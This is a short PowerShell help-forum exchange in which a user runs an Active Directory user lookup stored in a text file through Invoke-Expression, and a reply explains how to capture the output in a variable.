Capture output of invoke-expression

PowerShell Help
1

hopefully a simple one,

tiny script

“command1.txt = Get-aduser mark.prior”

 
	$run = Get-Content c:\TEMP\command1.txt
		
		Invoke-Expression $run

so this runs fine and produces an output

DistinguishedName : CN=Mark Prior,OU=Users,OU=Newcastle,OU=United Kingdom,OU=Europe,DC=global,DC=blah,DC=com
Enabled : True
GivenName : Mark
Name : Mark Prior
ObjectClass : user
ObjectGUID : fb2a6922-dc…
SamAccountName : mark.prior
SID : S-1-5-21-5159…
Surname : Prior
UserPrincipalName : mark.prior@blah.com

which is just dandy, however how do i capture that output in a string?

Just assign whatever comes back from Invoke-Expression to a variable.

$run = Get-Content c:\TEMP\command1.txt
		
$result = Invoke-Expression $run
